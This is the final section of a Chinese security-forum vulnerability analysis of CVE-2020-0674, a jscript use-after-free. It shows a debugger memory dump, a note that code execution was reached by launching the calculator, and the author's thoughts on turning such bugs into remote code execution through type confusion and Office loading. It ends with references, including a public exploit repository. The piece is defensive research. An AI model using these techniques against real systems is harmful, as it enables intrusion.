00000000`0000000000000000`053886a8  00000000`0000000000000000`053886b0  00000000`0000000000000000`053886b8  00000000`0000000000000000`053886c0  00000000`0000000000000000`053886c8  00000000`0000000000000000`053886d0  00000000`0000000800000000`053886d8  00000000`0039f76400000000`053886e0  00000000`003334f000000000`053886e8  006c0020`0029003000000000`053886f0  000007fe`ec650000 MSHTML!CDiagnosticsGlobalScopeProxy::`vftable'+0x25000000000`053886f8  00000000`0039f63800000000`05388700  00000000`00001f8000000000`05388708  00000000`003080b000000000`05388710  00000000`0000008000000000`05388718  00000000`0037a48000000000`05388720  00000000`0000000000000000`05388728  00000000`053886f000000000`05388730  00000000`003797a000000000`05388738  00000000`05388e4000000000`05388740  00000000`1039c22800000000`05388748  000007fe`f00aabe8 jscript!NameList::FCreateVval+0xd800000000`05388750  00008687`1cf8f2fd00000000`05388758  00000000`05389660

弹出计算器,实现代码执行~
 
CVE-2020-0674漏洞分析笔记
写在最后
这个漏洞到这里就分析完了,关于这个漏洞笔者有如下思考:

(1)这个漏洞的利用代码直接给出了将一个jscript的此类UAF漏洞转化为RCE的能力,换个角度思考,jscript模块中之前出现的那些类似的UAF漏洞,都可以通过这种方法实现RCE,而这些漏洞之前被人关注得并不多。

(2)纵观这个jscript漏洞的分析过程,由于此利用是国外安全研究员独立编写,所以与最初的在野0day利用代码并不一致,但是这份代码更具阅读性,并且在利用过程上和前几年被广泛讨论的vbscript漏洞异曲同工,都是借助伪造或改写VARIANT的Type来实现类型混淆。

(3)当jscript模型的UAF漏洞开始被逐渐发现(这类漏洞应该还有),在jscript被加入office Moniker的黑名单之前(vbscript被加入了黑名单),攻击者应该会比较青睐这种通过office加载jscript漏洞的方式(或他们一直在用的wpad提权方式),因为这种情况下无需配合提权漏洞,所以还请大家做好这两类攻击的防范工作。



参考资料
https://github.com/maxpl0it/CVE-2020-0674-Exploit
 
https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0674
 
Garbage Collection Internals of JScript(https://gist.github.com/sudhackar/20eef22e8790ee05a3b325513daf858b)
 
CVE-2018-8353漏洞分析笔记(https://bbs.pediy.com/thread-257127.htm)
 
CVE-2017-11906 && CVE-2017-11907 组合漏洞分析笔记(https://bbs.pediy.com/thread-256832.htm)
 
利用WPAD/PAC与JScript实现Windows 10远程代码执行(https://mp.weixin.qq.com/s/3ClB42dhAfvSl7jyLCkgmA)
 
aPAColypse now: Exploiting Windows 10 in a Local Network with WPAD/PAC and JScript(https://googleprojectzero.blogspot.com/2017/12/apacolypse-now-exploiting-windows-10-in_18.html)
CVE-2020-0674漏洞分析笔记
- End -

CVE-2020-0674漏洞分析笔记

看雪ID:银雁冰

https://bbs.pediy.com/user-628056.htm 

*本文由看雪论坛 银雁冰 原创,转载请注明来自看雪社区。

推荐文章++++

CVE-2020-0674漏洞分析笔记

*  Ghidra 分析程序及个人感受

*  封包式游戏功能的原理与实现

*  Protobuf协议逆向和仿真&举个栗子

*  网鼎杯2020 伪虚拟机逆向 wp

*  网鼎杯-武为止戈

好书推荐CVE-2020-0674漏洞分析笔记

CVE-2020-0674漏洞分析笔记
公众号ID:ikanxue
官方微博:看雪安全
商务合作:[email protected]

CVE-2020-0674漏洞分析笔记
“阅读原文一起来充电吧!

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: